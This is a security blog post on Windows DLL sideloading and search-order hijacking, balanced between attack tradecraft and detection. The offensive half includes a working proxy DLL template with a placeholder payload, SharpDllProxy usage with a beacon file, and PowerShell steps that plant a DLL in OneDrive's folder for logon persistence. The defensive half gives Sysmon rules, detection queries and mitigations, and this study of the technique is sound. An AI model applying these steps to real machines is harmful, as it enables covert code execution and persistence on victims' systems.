Back to Blog
Exploitation

DLL Sideloading and Order Hijacking: A Modern Perspective

OffSec Research Team
10 June 2026 • 09:00 AM13 min
DLL Sideloading and Order Hijacking: A Modern Perspective
TL;DR — DLL sideloading exploits the Windows DLL search order by placing a malicious DLL in a directory that is searched before the legitimate DLL's location, causing a trusted, signed application to load and execute attacker-controlled code. Sideloading differs from classic hijacking in that the attacker controls both the legitimate binary and the malicious DLL, using the signed binary as a proxy to inherit its reputation and process context. This post covers the search order mechanics, discovery methodology, proxy DLL construction, persistence via startup-path planting, and detection using Sysmon EventID 7 and unsigned-DLL heuristics.

Executive Summary

Windows' DLL loading mechanism was designed for flexibility: applications can ship their own versions of system libraries without conflicting with other applications' dependencies. This design decision—loading from the application's own directory before system directories—creates the fundamental attack surface exploited by DLL sideloading. When a signed, trusted application attempts to load version.dll or dbghelp.dll, Windows checks the application's directory first. An attacker who can write to that directory can intercept the load.

The distinction between sideloading and classic DLL hijacking matters for OPSEC. In classic hijacking, the attacker replaces a DLL that the application legitimately ships—a potentially destructive and noisy action. In sideloading, the attacker introduces a DLL that the application searches for but does not find in its own directory under normal circumstances. The application continues to function normally because the malicious DLL exports all the functions the application expects (via a proxy forwarding table) while also executing the malicious payload. The signed process hosts the malicious code, its digital signature lends trust, and process-based allowlisting controls are bypassed.

The technique is widely used across the threat landscape. APT groups including Mustang Panda, Lazarus Group, and APT41 have used DLL sideloading as a primary persistence and execution mechanism for years. Enterprise security teams encounter it in virtually every targeted intrusion investigation. Understanding the mechanics from first principles—not just the named techniques—allows defenders to build detection that survives tool changes and allows red teams to identify sideloading opportunities specific to the target environment.

Windows DLL Search Order

LoadLibrary and implicit DLL loads (via the PE import table) follow a well-defined search order. For LoadLibraryA("example.dll") without a full path, Windows searches these locations in order (assuming SafeDllSearchMode is enabled, which is the default since Windows XP SP2):

  • The directory from which the application was loaded
  • The system directory (C:\Windows\System32)
  • The 16-bit system directory (C:\Windows\System)
  • The Windows directory (C:\Windows)
  • The current working directory (when SafeDllSearchMode is disabled, this is #2)
  • Directories listed in the PATH environment variable
diagram — rendering…
flowchart TD
    A[LoadLibrary called for target.dll] --> B{KnownDLLs registry?\nHKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs}
    B -->|Yes| C[Load from System32 — cannot be hijacked]
    B -->|No| D{Full path specified?}
    D -->|Yes| E[Load from that exact path]
    D -->|No| F[Search: App directory]
    F -->|Not found| G[Search: System32]
    G -->|Not found| H[Search: Windows dir]
    H -->|Not found| I[Search: CWD]
    I -->|Not found| J[Search: PATH entries]
    J -->|Not found| K[LoadLibrary returns NULL / GetLastError = 126]
    F -->|Found| L[Load DLL — attacker wins if writable]
    G -->|Found| M[Load legitimate DLL]

The KnownDLLs registry key pre-loads a fixed set of critical system DLLs (ntdll.dll, kernel32.dll, user32.dll, etc.) into shared sections at boot time. These can never be hijacked via search order manipulation—the kernel resolves them before the search order is even consulted.

Sideloading vs. Hijacking vs. Planting

These three terms are often used interchangeably but describe meaningfully different attack scenarios:

TermMechanismRequires Replacing Existing FileSigned Binary Used as Proxy
DLL Search Order HijackingAttacker-controlled DLL placed in a path searched before System32No (exploits missing DLL)Not necessarily
DLL SideloadingA signed binary + its malicious DLL deployed together by the attackerNoYes — this is the defining feature
DLL PlantingMalicious DLL written to a path searched before System32 for a specific appNoPossibly
DLL Replacement / HijackingAttacker replaces an existing legitimate DLLYesPossibly

In sideloading, the attacker ships the entire package: a legitimate, signed executable (often stolen from a software vendor) alongside a malicious DLL that the binary will attempt to load. The attacker controls the deployment and does not need write access to any existing application directory—they simply stage both files wherever the signed binary can be executed from.

Finding Vulnerable Applications with Process Monitor

Process Monitor (Procmon) from Sysinternals is the canonical discovery tool. The filter configuration to identify DLL hijacking opportunities:

  • Filter: Operation = CreateFile (covers DLL loads)
  • Filter: Result = NAME NOT FOUND
  • Filter: Path ends with .dll

This surfaces every DLL that any running application attempted to load and failed to find. For each hit, verify:

  • Is the calling process signed by a trusted vendor?
  • Is the search path (the directory where the NAME NOT FOUND occurred) user-writable?
  • Does the application function correctly without the missing DLL (indicating the load failure is non-fatal)?
powershell
# PowerShell: enumerate DLLs loaded by a process and check signatures$proc = Get-Process -Name "target_app"$modules = $proc.Modules foreach ($mod in $modules) {    $sig = Get-AuthenticodeSignature -FilePath $mod.FileName    if ($sig.Status -ne 'Valid') {        Write-Host "[UNSIGNED] $($mod.FileName)"    }}

Classic Sideloading Targets

Through years of research and disclosed vulnerabilities, a consistent set of DLLs have proven reliable sideloading targets across many enterprise applications:

DLLApplications VulnerableNotes
version.dllMany legacy Win32 appsLoaded early; exports VerQueryValueA etc.
dbghelp.dllDebugging tools, game launchersHeavy use outside System32
winmm.dllMultimedia applicationsCommon in older enterprise software
wtsapi32.dllRemote desktop utilitiesNot in KnownDLLs
userenv.dllGroup Policy toolsLoaded by many management agents
CRYPTSP.dllCrypto applicationsMissing from many app directories
chrome_elf.dllChromium-based browsersArchitecture-specific; sideloading in installer
DWrite.dllOffice, rendering appsDirectWrite; not in KnownDLLs for all versions

Building a Proxy DLL

A proxy DLL must export all functions that the loading application expects from the real DLL, forwarding each call to the legitimate DLL while executing malicious code in DllMain. The MSVC linker pragma comment(linker, "/export:...") with the forwarding syntax handles this without writing individual stub functions.

The following example proxies version.dll:

c
// version_proxy.c — Proxy DLL for version.dll// Compile: cl /LD version_proxy.c /link /OUT:version.dll /DEF:version.def#include <windows.h>#include <stdio.h> // Forward all version.dll exports to the real DLL// Rename the real DLL to version_orig.dll before deploying#pragma comment(linker, "/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA,@1")#pragma comment(linker, "/export:GetFileVersionInfoByHandle=version_orig.GetFileVersionInfoByHandle,@2")#pragma comment(linker, "/export:GetFileVersionInfoExA=version_orig.GetFileVersionInfoExA,@3")#pragma comment(linker, "/export:GetFileVersionInfoExW=version_orig.GetFileVersionInfoExW,@4")#pragma comment(linker, "/export:GetFileVersionInfoSizeA=version_orig.GetFileVersionInfoSizeA,@5")#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=version_orig.GetFileVersionInfoSizeExA,@6")#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=version_orig.GetFileVersionInfoSizeExW,@7")#pragma comment(linker, "/export:GetFileVersionInfoSizeW=version_orig.GetFileVersionInfoSizeW,@8")#pragma comment(linker, "/export:GetFileVersionInfoW=version_orig.GetFileVersionInfoW,@9")#pragma comment(linker, "/export:VerFindFileA=version_orig.VerFindFileA,@10")#pragma comment(linker, "/export:VerFindFileW=version_orig.VerFindFileW,@11")#pragma comment(linker, "/export:VerInstallFileA=version_orig.VerInstallFileA,@12")#pragma comment(linker, "/export:VerInstallFileW=version_orig.VerInstallFileW,@13")#pragma comment(linker, "/export:VerLanguageNameA=version_orig.VerLanguageNameA,@14")#pragma comment(linker, "/export:VerLanguageNameW=version_orig.VerLanguageNameW,@15")#pragma comment(linker, "/export:VerQueryValueA=version_orig.VerQueryValueA,@16")#pragma comment(linker, "/export:VerQueryValueW=version_orig.VerQueryValueW,@17") // Malicious payload thread — run asynchronously from DllMainstatic DWORD WINAPI PayloadThread(LPVOID lpParam) {    // Replace with actual shellcode injection, beacon load, etc.    // Keeping in a separate thread avoids DllMain deadlock    MessageBoxA(NULL, "DLL Sideloaded!", "PoC", MB_OK);    return 0;} BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {    if (dwReason == DLL_PROCESS_ATTACH) {        DisableThreadLibraryCalls(hModule);        // Spawn payload thread — never block DllMain        HANDLE hThread = CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);        if (hThread) CloseHandle(hThread);    }    return TRUE;}

The forwarding pragma syntax DllName.FunctionName instructs the Windows loader to forward the export to the specified function in the specified DLL. The real version.dll must be renamed and present in the same directory (or on the DLL search path) as the proxy.

Automated Proxy DLL Generation

Tools such as SharpDllProxy (Flangvik) and DLLirant automate the process of enumerating exports from a target DLL and generating the corresponding proxy source:

powershell
# SharpDllProxy usage.\SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload C:\payloads\beacon.bin # Output: version_pragma.c (proxy source with all exports forwarded)# and     tmp_version.dll (renamed original for deployment)

Using Signed Binaries as Proxy Loaders

The most powerful form of sideloading uses a legitimately signed, reputable executable as the host process. The binary is not modified — it simply loads the malicious DLL because of the search order. The resulting process:

  • Is signed by a recognized CA (Microsoft, Adobe, Google, etc.)
  • Appears in process trees as a known-good application
  • May inherit elevated integrity levels if the signed app has a manifest requiring elevation
  • Bypasses process-based application control rules

Common signed binaries used as sideloading carriers:

shell
Microsoft OneDrive:  onedrive.exe loads: VERSION.dll, USERENV.dll (from %LOCALAPPDATA%\Microsoft\OneDrive\) Microsoft Teams (legacy):  Teams.exe loads: VERSION.dll from its own installation directory  (userspace install, so %APPDATA%\Microsoft\Teams\ is user-writable) VMware Tools:  vmtoolsd.exe loads: DBGHELP.dll from C:\Program Files\VMware\VMware Tools\ Notepad++ plugins:  notepad++.exe loads: DLLs from %APPDATA%\Notepad++\plugins\ (user-writable) 7-Zip:  7zFM.exe loads: 7-zip.dll; if deployed to user-writable path, search order wins

OneDrive Sideloading (User Privilege Persistence)

OneDrive's installation directory at %LOCALAPPDATA%\Microsoft\OneDrive\ is fully user-writable and is in OneDrive's DLL search path. This makes it a reliable persistence and execution vector requiring zero elevated privileges:

powershell
# Check OneDrive DLL search path is writableicacls "$env:LOCALAPPDATA\Microsoft\OneDrive\" | Select-String "BUILTIN\Users" # Deploy proxy version.dll to OneDrive directoryCopy-Item .\malicious_version.dll "$env:LOCALAPPDATA\Microsoft\OneDrive\version.dll"Copy-Item .\version_orig.dll      "$env:LOCALAPPDATA\Microsoft\OneDrive\version_orig.dll" # OneDrive auto-starts at login — sideloaded DLL executes as user at every logon

This achieves persistence without writing to HKCU Run keys, scheduled tasks, or startup folders—all of which are heavily monitored. The DLL is loaded as part of legitimate OneDrive startup, making behavioral analysis more difficult.

DLL Planting in User-Writable PATH Entries

The PATH environment variable is searched after the Windows directory. Any directory in PATH that is user-writable becomes a planting opportunity for DLLs not in KnownDLLs. Typical candidates:

powershell
# Find user-writable PATH entries$env:PATH -split ';' | ForEach-Object {    if (Test-Path $_) {        $acl = Get-Acl $_        $writable = $acl.Access | Where-Object {            ($_.IdentityReference -match "Users|Everyone|Authenticated") -and            ($_.FileSystemRights -match "Write|FullControl") -and            ($_.AccessControlType -eq "Allow")        }        if ($writable) { Write-Host "[WRITABLE PATH] $_" }    }}

Development environments and package managers frequently add user-writable directories early in PATH (Python's Scripts directory, npm global packages, etc.), creating broad sideloading opportunities for any application that searches PATH for DLLs.

Persistence via Sideloaded DLL in Startup Paths

Combining sideloading with auto-start execution creates fileless-ish persistence: no new registry keys, no scheduled tasks, no new startup entries. The persistence comes from the signed application's existing auto-start mechanism.

diagram — rendering…
flowchart LR
    A[System Boot / User Logon] --> B[Windows loads\nautostart applications]
    B --> C[OneDrive.exe starts\nfrom %LOCALAPPDATA%\Microsoft\OneDrive\]
    B --> D[Teams.exe starts\nfrom %APPDATA%\Microsoft\Teams\]
    B --> E[Other signed app\nwith autostart]
    C -->|LoadLibrary version.dll| F[Searches app directory FIRST]
    D -->|LoadLibrary version.dll| F
    E -->|LoadLibrary dbghelp.dll| F
    F -->|Finds malicious.dll\nin app directory| G[DllMain executes]
    G --> H[Payload thread spawns]
    H --> I[C2 beacon / shellcode]
    G --> J[Forward all exports\nto real DLL]
    J --> K[Application functions\nnormally]

Detection

Sysmon EventID 7 — Image Loaded

EventID 7 captures every DLL load, including the image path, signature status, and hashes. Key detection queries:

xml
<!-- Sysmon config: alert on unsigned DLL in signed process --><RuleGroup name="DLL Sideload Detection" groupRelation="and">  <ImageLoad onmatch="include">    <!-- Unsigned DLL loaded into a Microsoft-signed process -->    <SignatureStatus condition="is">Unsigned</SignatureStatus>    <Signed condition="is">true</Signed>  </ImageLoad></RuleGroup>

In Elastic/Splunk:

shell
event.code:7 AND winlog.event_data.Signed:"true" AND winlog.event_data.ImageSignatureStatus:("Unsigned" OR "Invalid") ANDwinlog.event_data.ImageLoaded:("\\version.dll" OR "\\dbghelp.dll" OR "\\winmm.dll")

Unsigned DLL from Non-Standard Path

A DLL loaded from outside C:\Windows\System32 or C:\Program Files into a normally-system-DLL-loading process is high-fidelity:

shell
winlog.event_data.ImageLoaded NOT ("C:\\Windows\\*" OR "C:\\Program Files*") ANDwinlog.event_data.ImageSignatureStatus:"Unsigned"

DLL Path vs Process Path Mismatch

For known sideloading carriers, the DLL path should match expected system locations. A mismatch is highly suspicious:

python
# Pseudo-detection logicsuspicious_pairs = {    "OneDrive.exe": ["version.dll", "userenv.dll", "cryptsp.dll"],    "Teams.exe":    ["version.dll", "dbghelp.dll"],    "vmtoolsd.exe": ["dbghelp.dll"],} for event in image_load_events:    proc = event.process_name    dll  = event.dll_name    if proc in suspicious_pairs and dll in suspicious_pairs[proc]:        if not event.dll_path.startswith("C:\\Windows\\System32"):            alert(f"Potential sideload: {proc} loaded {dll} from {event.dll_path}")

Mitigation

KnownDLLs Registry Key

DLLs listed under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs are loaded from pre-mapped shared sections and cannot be hijacked. Adding commonly sideloaded DLLs here provides a hard mitigation:

shell
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs  version  = version.dll  dbghelp  = dbghelp.dll  winmm    = winmm.dll

Note: This may break applications that ship their own versions of these DLLs and rely on finding them in their application directory before System32.

DLL Safe Search Mode

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1 (default) moves the CWD to after System32 in the search order, mitigating CWD-based planting but not application-directory sideloading.

WDAC DLL Rules

Windows Defender Application Control (WDAC) can enforce that all loaded DLLs are signed by a trusted certificate authority:

xml
<!-- WDAC policy snippet: require valid PE signature for DLL loads --><FileRules>  <Allow ID="ID_ALLOW_SIGNED_DLLS" FriendlyName="Allow signed DLLs"         UserMode="true">    <FileAttribute>      <MinimumFileVersion>0.0.0.0</MinimumFileVersion>    </FileAttribute>  </Allow></FileRules><SigningScenarios>  <SigningScenario Value="8" ID="ID_SIGNINGSCENARIO_UMCI" FriendlyName="User Mode">    <ProductSigners>      <AllowedSigners />    </ProductSigners>    <InvalidSigners>      <!-- Block unsigned user-mode DLL loads -->    </InvalidSigners>  </SigningScenario></SigningScenarios>

In practice, WDAC DLL enforcement generates significant noise in heterogeneous enterprise environments and requires careful policy tuning before deployment.

MITRE ATT&CK Mapping

TechniqueATT&CK IDDescription
DLL Side-LoadingT1574.002Placing malicious DLL alongside a signed legitimate executable
DLL Search Order HijackingT1574.001Exploiting DLL search order to intercept library loads
Hijack Execution FlowT1574Parent technique for DLL-based execution hijacking
Signed Binary Proxy ExecutionT1218Using a trusted signed binary to load and execute malicious code
Boot or Logon Autostart ExecutionT1547Persistence through signed auto-start application DLL search path
MasqueradingT1036Naming malicious DLL to match expected legitimate library name

Conclusion

DLL sideloading endures as a reliable technique precisely because it exploits a design decision—not a bug—in Windows' DLL loading architecture. The search-order priority given to the application's own directory was a reasonable engineering trade-off in a trust-homogeneous environment; in modern enterprise environments with user-writable application directories and heterogeneous security monitoring, it creates a persistent and broadly applicable attack surface.

The technique's staying power for red teams comes from the trust inheritance it provides: by executing under a signed, reputable process, sideloaded payloads bypass application whitelisting, inherit process-level reputation, and complicate attribution. The proxy DLL pattern ensures the host application continues functioning normally, extending dwell time before detection.

Defenders should prioritize Sysmon EventID 7 monitoring with signature and path validation, specifically targeting high-value sideloading carriers (OneDrive, Teams, VMware Tools) and commonly hijacked DLLs (version.dll, dbghelp.dll, winmm.dll). The combination of "unsigned DLL" plus "loaded into signed process" plus "loaded from user-writable path" provides a high-fidelity detection signature that covers the majority of observed sideloading tradecraft with manageable false-positive rates.

Red team operators should resist over-reliance on public sideloading lists — the most effective sideloading opportunities are discovered through active Procmon analysis in the specific target environment. Enterprise software stacks are heterogeneous, and every organization's installed application set offers unique opportunities. Environment-specific sideloading is substantially harder to detect through threat intelligence feeds than public techniques, because the carrier binary and the DLL name are both locally legitimate and not associated with any prior campaign IoCs.